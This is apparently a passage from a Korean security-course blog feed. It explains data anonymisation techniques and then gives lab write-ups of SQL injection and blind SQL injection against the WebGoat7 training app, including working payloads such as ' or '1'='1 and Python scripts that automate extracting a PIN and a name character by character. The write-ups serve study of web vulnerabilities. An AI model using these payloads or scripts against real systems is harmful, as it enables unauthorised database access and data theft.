가명, 익명 처리 기술은 크게 세 가지로 분류할 수 있다. 첫 번째는 개인정보에 해당하는 부분을 삭제하는 <strong>삭제</strong>, 두 번째는 여러 개의 데이터를 종합해서 표현하는 <strong>요약</strong>, 마지막 세 번째는 속성은 그대로 살리고 임의의 다른 값으로 대체하는 <strong>대체</strong>가 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/c2641199-693a-49d8-b064-1d6bae5dddc3/image.png" alt=""></li>
</ul>
<h3 id="삭제">삭제</h3>
<p>개인정보 삭제는 개인 식별이 가능한 데이터를 삭제 처리 하는 것이다. 보통 삭제 대상은 <strong>식별자</strong>라고 하는, 하나의 정보만 있어도 개인을 특정할 수 있는 정보들이다. 삭제 기법의 장점은 개인을 식별할 수 있는 요소 자체를 삭제해버린다는 것이고, 단점은 분석의 다양성과 분석 결과의 유효성 및 신뢰성을 저하시키는 것이다. 삭제 기술에는 식별자 삭제, 식별자 부분삭제, 레코드 삭제, 식별요소 전부삭제 등이 있다.</p>
<blockquote>
</blockquote>
<ul>
<li>식별자 삭제: 원본 데이터에서 식별자를 단순 삭제하는 방법이다.<ul>
<li>식별자 삭제 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/22f4b942-390f-4e95-b2e3-bc97a61e84d8/image.png" alt=""></li>
</ul>
</li>
<li>식별자 부분 삭제: 식별자 전체를 삭제하는 것이 아니라, 해당 식별자의 일부를 삭제<ul>
<li>식별자 부분 삭제 예시: (서울특별시 송파구 가락본동 78번지 → 서울시 송파구)
<img src="https://velog.velcdn.com/images/gloomy_passion/post/cfe7c0bb-729d-427a-bc0c-8767b13d9573/image.png" alt=""></li>
</ul>
</li>
<li>레코드 삭제: 다른 정보와 뚜렷하게 구별되는 레코드 전체를 삭제하는 방법<ul>
<li>레코드 삭제 예시 - 행 삭제
<img src="https://velog.velcdn.com/images/gloomy_passion/post/eb94c3f6-04e1-46b4-bc3a-2fe5d605e2c7/image.png" alt=""></li>
<li>레코드 삭제 예시 - 로컬 삭제
<img src="https://velog.velcdn.com/images/gloomy_passion/post/9e43da46-b260-4b1a-beff-031efd028f0d/image.png" alt=""></li>
<li>마스킹 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/50cd54c8-97b3-4cb5-889b-48633f4412e8/image.png" alt=""></li>
</ul>
</li>
<li>식별요소 전부 삭제: 식별자뿐만 아니라 잠재적으로 개인을 식별할 수 있는 속성자까지 전부 삭제하여 프라이버시 침해 위험을 줄이는 방법</li>
</ul>
<h3 id="요약">요약</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/2d860d49-30a6-4e9b-b813-9a61d7ef99cc/image.png" alt=""></p>
<blockquote>
</blockquote>
<ul>
<li>총계처리: 데이터 전체 또는 부분을 집계(총합, 평균 등) 단, 데이터 전체가 유사한 특징을 가진 개인으로 구성되어 있을 경우 그 데이터의 대푯값이 특정 개인의 정보를 그대로 노출시킬 수도 있으므로 주의<ul>
<li>총계처리 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/0d94096f-080d-4ec2-8622-249185ba5667/image.png" alt=""></li>
<li>부분총계: 데이터 셋 내 일정부분 레코드만 총계 처리함. 즉, 다른 데이터 값에 비하여 오차 범위가 큰 항목을 통계값(평균 등)으로 변환<ul>
<li>부분총계 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/242f1f47-ae67-4b6d-971a-b2fc5819e909/image.png" alt=""></li>
</ul>
</li>
<li>라운딩: 집계 처리된 값에 대하여 라운딩(올림, 내림, 사사오입) 기준을 적용하여 최종 집계 처리하는 방법으로, 일반적으로 세세한 정보보다는 전체 통계정보가 필요한 경우 많이 사용<ul>
<li>라운딩 예시 - 일반 라운딩
<img src="https://velog.velcdn.com/images/gloomy_passion/post/491143b5-b6fb-444d-90c3-b8360b205d48/image.png" alt=""></li>
</ul>
</li>
<li>재배열: 기존 정보값은 유지하면서 개인이 식별되지 않도록 데이터를 재배열하는 방법으로, 개인의 정보를 타인의 정 보와 뒤섞어서 전체 정보에 대한 손상 없이 특정 정보가 해당 개인과 연결되지 않도록 하는 방법</li>
</ul>
</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>데이터 범주화: 특정 정보를 해당 그룹의 대푯값으로 변환(범주화)하거나 구간 값으로 변환(범주화)하여 개인 식별을 방지<ul>
<li>감추기: 명확한 값을 숨기기 위하여 데이터의 평균 또는 범주값으로 변환. 단, 특수한 성질을 지닌 개인으로 구성된 단체 데이터의 평균이나 범주값은 그 집단에 속한 개인의 정보를 쉽게 추론할 수 있음</li>
<li>랜덤 라운딩: 수치 데이터를 임의의 수 기준으로 올림(round up) 또는 내림(round down)하는 기법<ul>
<li>랜덤 라운딩 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/129ea201-008c-4e29-bb0f-a2e7d4ac15e4/image.png" alt=""></li>
</ul>
</li>
<li>범위 방법: 수치데이터를 임의의 수 기준의 범위(range)로 설정하는 기법으로, 해당 값의 범위(range) 또는 구간(interval)으로 표현<ul>
<li>범위 방법 예시: 소득 3,300만원을 소득 3,000만원∼4,000만원으로 대체 표기</li>
</ul>
</li>
<li>제어 라운딩: ‘랜덤 라운딩’ 방법에서 어떠한 특정값을 변경할 경우 행과 열의 합이 일치하지 않는 단점 해결을 위해 행과 열이 맞지 않는 것을 제어하여 일치시키는 기법, 하지만 컴퓨터 프로그램으로 구현하기 어렵고 복잡한 통계표에는 적용하기 어려우며, 해결할 수 있는 방법이 존재하지 않을 수 있어 아직 현장에서는 잘 사용하지 않음<ul>
<li>제어 라운딩 예시
<img src="https://velog.velcdn.com/images/gloomy_passion/post/7d53f42d-093a-4597-abd9-93aceba9dfa7/image.png" alt=""></li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="대체">대체</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/40c7bf71-3c55-408e-bf66-3cf93b031d86/image.png" alt=""></p>
<blockquote>
</blockquote>
<ul>
<li>가명처리: 개인 식별이 가능한 데이터를 직접적으로 식별할 수 없는 다른 값으로 대체하는 기법<ul>
<li>휴리스틱 가명화: • 식별자에 해당하는 값들을 몇 가지 정해진 규칙으로 대체하거나 사람의 판단에 따라 가공하여 자세한 개인정보를 숨기는 방법<ul>
<li>휴리스틱 가명화 예시: 성명을 홍길동, 임꺽정 등 몇몇 일반화된 이름으로 대체하여 표기하거나 소속기관명을 화성, 금성 등으로 대체하는 등 사전에 규칙을 정하여 수행</li>
</ul>
</li>
<li>암호화: 정보 가공시 일정한 규칙의 알고리즘을 적용하여 암호화함으로써 개인정보를 대체하는 방법, 통상적으로 다시 복호가 가능하도록 복호화 키(key)를 가지고 있어서 이에 대한 보안방안도 필요(키 관리/분배 문제)<ul>
<li>양방향 암호화: 대칭키, 공개키 암호화</li>
<li>일방향 암호화: 암호학적 해시함수</li>
</ul>
</li>
</ul>
</li>
</ul>
<blockquote>
</blockquote>
<ul>
<li>무작위화 기술: 속성의 값을 원래의 값과 다르게 변경<ul>
<li>잡음 추가
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d2d2c714-ba54-47f2-ac8f-53570ed84a31/image.png" alt=""></li>
<li>순열(치환): 기존 값은 유지하면서 개인이 식별되지 않도록 데이터를 재배열하는 방법
<img src="https://velog.velcdn.com/images/gloomy_passion/post/63601aa2-5ab1-40c7-abc0-ddaa41057e49/image.png" alt=""></li>
<li>토큰화: 개인을 식별할 수 있는 정보를 토큰으로 변환 후 대체함으로써 개인정보를 직접 사용하여 발생하는 개인에 대한 식별 위험을 제거하여 개인정보를 보호하는 기술
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d71a0dd3-3c67-4de5-a1fd-00ee85a3781e/image.png" alt=""></li>
</ul>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 6주차 - Blind SQL Injection]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-6%EC%A3%BC%EC%B0%A8-Blind-SQL-Injection</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-6%EC%A3%BC%EC%B0%A8-Blind-SQL-Injection</guid>
            <pubDate>Sat, 27 Jan 2024 12:31:38 GMT</pubDate>
            <description><![CDATA[<h2 id="blind-sql-injection">Blind SQL Injection</h2>
<hr>
<h3 id="blind-sql-injection이란">Blind SQL Injection이란?</h3>
<p>이번에는 저번에 다루지 못했던 <code>Blind SQL Injection</code>에 대해서 살펴보자. <code>Blind SQL Injection</code>은 <code>SQL Injection</code>의 종류이지만, 말 그대로 <code>Blind</code>, 즉 특정 값이나 테이블, 데이터베이스의 정보가 없는 상황에서 정보를 뽑아내는 기법이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/5344e951-7acf-489d-9597-59c3b390bc58/image.png" alt="">
<img src="https://velog.velcdn.com/images/gloomy_passion/post/7669ab03-9f58-45f8-98cf-a0be268fc487/image.png" alt=""></p>
<p><code>Blind SQL Injection</code>은 <code>and</code>연산을 이용하여 화면상에 출력되는 결과를 보고 값을 추정하는 기법이다. 바로 실습으로 들어가보자.</p>
<h3 id="blind-sql-injection-실습">Blind SQL Injection 실습</h3>
<h4 id="blind-numeric-sql-injection">Blind Numeric SQL Injection</h4>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/36aada94-1c68-4370-8501-fb4d0e238096/image.png" alt="">
이 문제의 목표는 <code>pins</code>라는 테이블에서 <code>cc_number</code>가<code>1111222233334444</code>인 사람의 <code>pin</code>값을 가져오는것이 목표이다. 우선 기본으로 적혀있는 <code>101</code>을 전송해보자.</p>
<pre><code>Account number is valid.</code></pre><p>결과는 <code>Account number</code>가 <code>valid</code>하다고 한다. 그렇다면 다른 수도 넣어보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/f2b02f00-a535-4006-b076-7caafaa3478c/image.png" alt="">
<code>5555</code>라는 값을 입력했더니 <code>Invalid</code>한 번호라고 나온다.</p>
<p>여기서 추론할 수 있는 부분은 앞의 쿼리는 어떤 형식인지 모르겠지만, <code>기존쿼리 where account_number=?</code>의 형식이라고 생각할 수 있다. 그렇다면 <code>기존쿼리 where account_number=101</code>의 논리가 참이므로 <code>and</code>연산을 이용해 뒤에 특정 조건문 혹은 쿼리를 붙일 수 있다.</p>
<pre><code>기존쿼리 where account_number=101 and (select pin from pins where cc_number=&#39;1111222233334444&#39;) &gt; 0</code></pre><p>라는 식으로 쿼리문을 전송한 후 결과를 살펴보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/2368ed27-b243-4f8e-b335-4cc5a55c647d/image.png" alt="">
<code>valid</code>하다고 나온다. 그렇다면 5000을 넣어보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d5c77202-1674-4381-9232-2043810f2e06/image.png" alt="">
<code>Invalid</code>라는 결과가 나온다.</p>
<p>따라서 우리는 <code>select pin from pins where cc_number=&#39;1111222233334444&#39;</code>라는 쿼리의 결과가 0보다 크고 5000보다 작다는 걸 알 수 있다. 이 과정을 반복해서 줄여나가보면 문제를 풀 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/7ffb6aa9-0978-4f8b-9381-15ca50e6b665/image.png" alt=""></p>
<h4 id="blind-string-sql-injection">Blind String SQL Injection</h4>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/29cfc4d8-b0bd-4db8-a3d9-510190cab5ba/image.png" alt="">
이번 문제의 목표는 아까처림 <code>pin</code>이 아닌 <code>name</code>을 추출하는 것이다. 문자열 추출을 위해서는 쿼리문의 <code>substring</code>함수에 대해 알아야 하는데, <code>substring</code>함수의 사용법은 다음과 같다.</p>
<blockquote>
</blockquote>
<p>주어진 문자열이 <code>security</code>라고 가정해보자.
<code>substring</code>의 사용법은 <code>substring(문자열, 시작 인덱스(1부터 시작), 가져올 문자의 개수)</code>형식이다.
즉, <code>substring(&#39;security&#39;, 1, 1)</code>은 security의 첫번째 글자부터 1개를 가져오는 것이므로 <code>s</code>에 해당한다.</p>
<p>해당 방식으로 문자를 한개씩 추출한 다음, 문자의 아스키 값을 비교하여 해당 문자를 특정하는 것이다.
첫번째 글자를 추출해보자.
<code>101 and substring(select name from pins where cc_number=&#39;4321432143214321&#39;, 1, 1) &gt; &#39;A&#39;</code>라는 쿼리를 보내니 <code>valid</code>가, <code>101 and substring(select name from pins where cc_number=&#39;4321432143214321&#39;, 1, 1) &gt; &#39;a&#39;</code>라는 쿼리를 보내니 <code>invalid</code>가 나오는 것을 보면 첫번째 문자는 A보다 크고 a보다 작은 것을 알 수 있다. 이러한 방법으로 진행하다보면 답을 찾을 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/9cbe93bd-be5e-47de-a06e-0b6f3d66b6c1/image.png" alt=""></p>
<h2 id="blind-sql-injection-with-python">Blind SQL Injection with Python</h2>
<hr>
<h3 id="blind-numeric-sql-injection-1">Blind Numeric SQL Injection</h3>
<p>손으로 하나하나 찾아도 위의 두 문제 같은 경우는 쉽게 찾을 수 있지만, 만약 문자열의 길이가 길거나 찾기 어려운 경우는 <code>python</code>을 이용하는 것이 효율적일 수 있다. 첫 번째 문제부터 풀어보자.</p>
<pre><code class="language-python">import requests
from bs4 import BeautifulSoup

url = &#39;http://webgoat7.com/WebGoat/attack?Screen=586116895&amp;menu=1100&#39;
cookies = {&#39;JSESSIONID&#39;:&#39;27ECDE6D05CC10D2041A0D3673AEA3ED&#39;}
post_data = {&#39;account_number&#39;:&#39;101&#39;, &#39;SUBMIT&#39;:&#39;Go!&#39;}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, &#39;html.parser&#39;)
print(soup.prettify())</code></pre>
<p>해당 문제의 <code>url</code>과 <code>cookie</code>, 그리고 <code>POST</code>방식으로 전송하는 데이터를 모두 넣어     <code>Python</code>으로 접속한 후 출력해보았다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/dc414619-3060-40a6-ab6a-9fab9c7a019d/image.png" alt="">
정상적으로 잘 접속되는 것을 볼 수 있다. 이제 우리가 필요한 부분을 추출해보자. 우리가 필요한 부분은 입력한 쿼리에 따라 변하는 부분이므로 해당 부분을 개발자 도구를 이용해서 추출해주겠다. 해당 부분인 <code>Account number is valid</code>를 <code>inspect</code>하여 셀렉터를 복사한 후 추출해보자.</p>
<pre><code class="language-python">target_sentence = soup.select(&#39;#lesson-content-wrapper &gt; div:nth-child(3) &gt; form:nth-child(1) &gt; p:nth-child(2)&#39;)
print(target_sentence)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/8a83fafc-73a5-40e5-8782-f2d62bfae9c1/image.png" alt="">
분명히 셀렉터를 복사해서 출력했지만 아무것도 나오지 않는다. 그렇다면 아까 전의 결과 화면에서 타겟 문장이 <code>p</code>태그 내부에 있었기 때문에 <code>p</code>태그를 모두 찾아서 출력해보자.</p>
<pre><code class="language-python">target_sentence = soup.find_all(&#39;p&#39;)
print(target_sentence)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/213c45bf-30b7-4e3d-9087-817503ab88cb/image.png" alt="">
<code>p</code>태그는 정상적으로 잘 출력됐다. 우리가 찾는 문장은 리스트의 맨 마지막 인덱스에 위치해있으므로 따로 추출해주도록 하자.</p>
<pre><code class="language-python">target_sentence = soup.find_all(&#39;p&#39;)[-1].text
print(target_sentence)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/98b13584-0c23-483f-956f-1a4e74f0b5e5/image.png" alt="">
타겟 문장을 성공적으로 추출한 모습이다. 이제 전송할 <code>post_data</code>에 쿼리문을 삽입한 후 반복문을 이용해서 답을 찾아보자.</p>
<pre><code class="language-python">import requests
from bs4 import BeautifulSoup

url = &#39;http://webgoat7.com/WebGoat/attack?Screen=586116895&amp;menu=1100&#39;
cookies = {&#39;JSESSIONID&#39;:&#39;27ECDE6D05CC10D2041A0D3673AEA3ED&#39;}

# 타겟 문장의 결과를 저장할 리스트
flags = []
# 타겟 변수
pin = 0

for i in range(100000):
    post_data = {&quot;account_number&quot;:&quot;101 and (select pin from pins where cc_number=&#39;1111222233334444&#39; &gt; %d)&quot;%i, &quot;SUBMIT&quot;:&quot;Go!&quot;}
    response = requests.post(url, cookies=cookies, data=post_data)
    html = response.text
    soup = BeautifulSoup(html, &#39;html.parser&#39;)
    flags.append(soup.find_all(&#39;p&#39;)[-1].text)

    if i &gt; 0:
        if flags[i] != flags[i-1]:
            pin = i
            break

print(f&#39;pin: {pin}&#39;)</code></pre>
<p>넉넉하게 루프를 10만으로 설정한 후, 값을 올려가면서 서버에 쿼리를 던지고 결과로 나오는 타겟 문장들을 <code>flags</code>리스트에 저장했다. 만약 이전 루프에서 저장한 <code>flag</code>와 현재 루프의 <code>flag</code>가 다르다면 반복문을 빠져나오고 <code>pin</code>을 출력하는 방식이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/435f7ad7-c172-4af1-9a68-7fe369acdc58/image.png" alt="">
잘 동작하는것을 볼 수 있다.</p>
<h3 id="blind-string-sql-injection-1">Blind String SQL Injection</h3>
<p>같은 방법으로 지난 글에서 사용했던 쿼리문을 전송해보자. 우선 반복문을 작성하기 전에 우리의 타겟문장부터 추출해보자.</p>
<pre><code class="language-python">import requests
from bs4 import BeautifulSoup

url = &#39;http://webgoat7.com/WebGoat/attack?Screen=1315528047&amp;menu=1100&#39;
cookies = {&#39;JSESSIONID&#39;: &#39;27ECDE6D05CC10D2041A0D3673AEA3ED&#39;}
post_data = {&#39;account_number&#39;: &quot;101 and substring(select name from pins where cc_number = &#39;4321432143214321&#39;, 1, 1) &gt; &#39;A&#39;&quot;, &#39;SUBMIT&#39;: &#39;Go!&#39;}
response = requests.post(url, cookies=cookies, data=post_data)
html = response.text
soup = BeautifulSoup(html, &#39;html.parser&#39;)

target_sentence = soup.find_all(&#39;p&#39;)[-1].text
print(target_sentence)</code></pre>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/80f46007-0ef7-4c5a-bcad-dc431d782ce7/image.png" alt="">
동일한 방식으로 잘 추출할 수 있었다. 우선 기본적으로 이 문제의 답을 알고 있는 상황이고, 문제의 답은 알파벳 안에 있기 때문에 탐색 범위를 알파벳으로 한정해보자.
<code>alphabet = &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#39;</code>라는 문자열 변수를 선언한 후 해당 문자열의 요소에 대해서만 반복문을 실행한다.</p>
<pre><code class="language-python">import requests
from bs4 import BeautifulSoup

alphabet = &#39;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#39;

url = &#39;http://webgoat7.com/WebGoat/attack?Screen=1315528047&amp;menu=1100&#39;
cookies = {&#39;JSESSIONID&#39;: &#39;27ECDE6D05CC10D2041A0D3673AEA3ED&#39;}

answer = []

for i in range(1, 100):

    flags = []

    for char in alphabet:
        post_data = {&#39;account_number&#39;: &quot;101 and substring(select name from pins where cc_number = &#39;4321432143214321&#39;, &quot; + str(i) + &quot;, 1) &gt;= &#39;&quot; + char + &quot;&#39;&quot;, &#39;SUBMIT&#39;: &#39;Go!&#39;}
        response = requests.post(url, cookies=cookies, data=post_data)
        html = response.text
        soup = BeautifulSoup(html, &#39;html.parser&#39;)

        flags.append(soup.find_all(&#39;p&#39;)[-1].text)

        if &#39;Account number is valid&#39; not in flags:
            break

        elif flags[len(flags) - 1] != flags[len(flags) - 2]:
            answer.append(alphabet[alphabet.index(char) - 1])

print(&#39;&#39;.join(answer))            </code></pre>
<p>바깥 루프를 한번씩 실행할 때마다 각 문자들에 대한 플래그를 저장하고, 마지막으로 저장한 플래그와 그 이전에 저장한 플래그가 다르면 해당 문자의 이전 문자를 <code>answer</code>에 추가한 후 루프가 끝나고 출력했다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/42667678-585c-4b90-bc2b-f4f66cb396a8/image.png" alt="">
답이 잘 출력되는것을 확인할 수 있다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[KDT_AISEC] 6주차 - 웹 보안 및 웹 해킹 실습]]></title>
            <link>https://velog.io/@gloomy_passion/KDTAISEC-6%EC%A3%BC%EC%B0%A8-%EC%9B%B9-%EB%B3%B4%EC%95%88</link>
            <guid>https://velog.io/@gloomy_passion/KDTAISEC-6%EC%A3%BC%EC%B0%A8-%EC%9B%B9-%EB%B3%B4%EC%95%88</guid>
            <pubDate>Thu, 25 Jan 2024 15:16:28 GMT</pubDate>
            <description><![CDATA[<h2 id="owasp">OWASP</h2>
<hr>
<h3 id="owaspopen-web-application-security-project">OWASP(Open Web Application Security Project)</h3>
<p><code>WAS</code>에서 발생할 수 있는 위험들에 대해 연구하는 오픈 소스 프로젝트로서 3~4년 마다 <code>OWASP Top 10</code>이라는 웹 애플리케이션 10대 주요 취약점을 발표한다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/37551f1b-7b10-4c16-9255-a03b569c697a/image.png" alt=""></p>
<h3 id="owasp-top-10-list">OWASP Top 10 List</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/c0b6576f-3ea8-4729-bfad-45885e9f18ed/image.png" alt=""></p>
<h2 id="proxy">PROXY</h2>
<hr>
<h3 id="원격-프록시">원격 프록시</h3>
<p>클라이언트 외부에 프록시 서버가 존재하는 것을 의미한다. 클라이언트의 IP주소를 숨길 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/904a3dee-be2b-445c-b12c-4ec9d10856c8/image.png" alt=""></p>
<h3 id="로컬-프록시">로컬 프록시</h3>
<p>클라이언트 PC내에 설치하는 프록시이다. 클라이언트-서버 통신간에 <code>HTTP</code>통신을 분석 및 변조하는 데 사용할 수 있다.
대표적인 도구로는 <code>BurpSuite</code>, <code>Zed Attack Proxy(ZAP)</code>등이 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/da8037b2-c757-44e4-b594-3967472b60c5/image.png" alt="">
웹 해킹 실습에 이용할 예정이다.</p>
<h2 id="취약점의-이해">취약점의 이해</h2>
<hr>
<h3 id="취약점이-발생하는-이유">취약점이 발생하는 이유</h3>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/200884c6-1c7f-4d0f-81fc-3f158712a3b0/image.png" alt="">
위 그림에서 버그는 프로그래머의 의도와 달리 설계상의 오류가 발생하는 부분을 의미하고 취약점은 버그 중에서도 정보보안의 3요소(기밀성, 무결성, 가용성)을 위협하는 부분을 의미한다. 모든 프로그래머가 프로그램을 설게할 때 완벽하게 설계할 수 없기 때문에 취약점은 항상 발생할 수밖에 없다.</p>
<h3 id="sql-injection">SQL Injection</h3>
<p><code>SQL Injection</code>은 데이터베이스와 연동된 애플리케이션에서 입력된 데이터에 대한 유효성 검증을 하지 않을 경우, 공격자가 입력 데이터에 <code>SQL Query</code>를 삽입하여 데이터베이스로부터 정보를 열람하거나 조작할 수 있는 보안 취약점이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/8b901b5f-e1a6-4755-920c-df904f7af7b9/image.png" alt=""></p>
<h3 id="sql-injection-원리">SQL Injection 원리</h3>
<p><code>SQL Injection</code>의 공격 쿼리문들은 보통 논리적 오류를 발생시키는 쿼리문들이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/aa15b92e-49d1-44e9-b058-d281d5448b73/image.png" alt=""></p>
<h3 id="sql-injection-실습">SQL Injection 실습</h3>
<p>실습 환경은 이전 네트워크 공격 실습에 활용했던 VROOM환경을 그대로 이용한다. <code>OWASP</code>에서 개발한 <code>OWASP Top 10</code>취약점에 대한 웹해킹 실습을 할 수 있는 <code>WebGoat7</code>을 기반으로 진행한다.</p>
<p><img src="https://velog.velcdn.com/images/gloomy_passion/post/6a2b54b1-8dba-4f97-b1ed-772810daf307/image.png" alt="">
위 문제는 모든 지역의 날씨 데이터를 가져오는 문제이다. 따로 입력할 수 있는 텍스트 박스가 없고 <code>Go!</code>버튼을 눌러 데이터를 전송하는 형식인 것 같으니, 우선 <code>BurpSuite</code>를 켜서 데이터가 어떻게 전송되는지 확인해보자. <code>BurpSuite</code>에서 <code>Intercept</code>옵션을 활성화한 뒤 <code>Go!</code>버튼을 눌러보았다.</p>
<pre><code>POST /WebGoat/attack?Screen=101829144&amp;menu=1100 HTTP/1.1
Host: webgoat7.com
Content-Length: 22
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.93 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://webgoat7.com
Referer: http://webgoat7.com/WebGoat/start.mvc
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: JSESSIONID=538A37330CE5AB846B3EFA27B44CE7F9
Connection: close

station=101&amp;SUBMIT=Go!</code></pre><p>맨 아래 <code>station=101&amp;SUBMIT=Go!</code>가 데이터를 전송하는 부분임을 알 수 있다. <code>station</code>파라미터에 임의의 값(1234)을 넣어보자.</p>
<pre><code>SELECT * FROM weather_data WHERE station = 1234</code></pre><p>문제 하단에 표시되는 <code>SQL</code>구문 힌트가 1234로 업데이트 됨을 볼 수 있다. 그렇다면 삽입할 <code>SQL</code>쿼리도 해당 부분에 삽입됨을 알 수 있다. <code>&#39;&#39; or 1=1</code>쿼리를 삽입해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/122203a3-8972-49fd-b9bb-41485aee5610/image.png" alt="">
<code>weather_data</code>의 모든 데이터가 불러와진 것을 확인할 수 있다. <code>String SQL Injection</code>문제도 풀어보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/8269bb87-5085-4f4a-8e17-13ef2ea327c4/image.png" alt="">
이 문제의 목적은 모든 사용자의 카드번호를 불러오는 것이다. 이전 문제와 입력창이 존재하고, 입력값을 전송했을 때 입력값의 양 옆에 따옴표가 붙는 것을 알 수 있다. 이것을 잘 이용해서 쿼리문을 넣어보자. 입력값 양 옆에 안 보이는 따옴표가 있다고 생각하고 <code>&#39; or &#39;1&#39;=&#39;1</code>이라는 쿼리를 넣어보도록 하겠다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/0bd818de-ab05-4dd2-9208-d8bf45b07941/image.png" alt="">
깔끔하게 잘 풀린 것을 볼 수 있다. 조금 더 어려운 문제들로 넘어가보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/407be341-34e7-4be7-8000-9a11fe81215f/image.png" alt="">
우선 아까와 마찬가지로 입력창이 존재하는데, 아무 값이나 넣은 후 <code>BurpSuite</code>에서 확인해보자.</p>
<pre><code>employee_id=101&amp;password=1234&amp;action=Login</code></pre><p>의 형태로 데이터를 전송하게 되는데, <code>employee_id</code>가 사용자의 번호인 것 같고 <code>password</code>에 내가 입력한 데이터가 들어간다. 따라서 <code>password</code>에 무언가 &#39;참&#39;을 만들 수 있는 쿼리를 넣어본다면? 이라는 생각이 든다.</p>
<p>사용자를 <code>Neville</code>로 바꾼 후, 이전 문제와 동일한 쿼리를 <code>BurpSuite</code>를 이용해 날려보았다.</p>
<pre><code>employee_id=101&amp;password=&#39; or &#39;1&#39;=&#39;1&amp;action=Login</code></pre><p><img src="https://velog.velcdn.com/images/gloomy_passion/post/9c0dfa98-1c61-4795-b14f-27de323d8219/image.png" alt="">
<code>Neville</code>의 계정으로 접속이 잘 된 모습을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/d563bda0-5972-4083-9430-2a02d3fad555/image.png" alt="">
이 문제는 <code>Larry</code>로 접속해서 보스인 <code>Neville</code>의 정보를 조회하는 것이 목표이다. 우선 방금 전과 같은 방법으로 로그인해보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/01757d56-d241-468b-af9b-53bff8990c48/image.png" alt="">
이러한 화면이 보이게 되는데, 우리가 보아야 할 곳은 <code>ViewProfile</code>인 것 같다. <code>BurpSuite</code>로 인터셉트를 잡고 눌러보자.</p>
<pre><code>employee_id=101&amp;action=ViewProfile</code></pre><p>의 형식으로 데이터가 날아가는데, 조작할만한 부분은 <code>employee_id=101</code>인 것 같다. 우선 이전의 문제를 푸는 과정에서 <code>Neville</code>의 <code>employee_id</code>가 112번인 것을 확인할 수 있다. 먼저 그냥 112를 넣어보자.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/de6927c3-58ee-4962-a1be-c42ab0c35253/image.png" alt="">
에러가 발생하는 것을 보니 단순 값 변경으로는 불가한 것 같다. 쿼리를 넣어야 하는데, 이번에는 다른 문제들처럼 쿼리문이 주어져 있지 않아서 쿼리문을 예측을 해야한다.
쿼리문을 예측하려면 우선 테이블 이름부터 알아야 하는데, <code>employee_id</code>라는 파라미터에서 추측해볼 수 있는 테이블명은 <code>employee</code>정도가 될 수 있을 것 같다. 쿼리문의 형태를 예측해보자면 <code>employee_id</code>를 입력 받아서 해당 직원의 프로필을 보여주는 것이므로 <code>select * from employee where employee_id = ?</code>의 형태가 될 것 같다. 보스인 <code>Neville</code>의 id를 가장 하단에서 선택할 수 있는 것으로 유추해보아 아마 데이터가 가장 하단에 위치할 확률이 높다. 따라서 <code>employee_id</code>를 기준으로 내림차순 정렬을 해보자. 삽입할 쿼리문은 <code>101 or 1=1 order by employee_id desc</code>이다.
<img src="https://velog.velcdn.com/images/gloomy_passion/post/816bddeb-ccc6-4f7b-be82-2e1c34a38aec/image.png" alt="">
<code>Neville</code>의 프로필이 잘 보이는 것을 확인할 수 있다. 이 외에도 <code>Blind SQL Injection</code>에 관한 내용도 있지만 다룰 부분이 많아 다음 글에서 다루도록 하겠다.</p>
<h3 id="command-injection">Command Injection</h3>
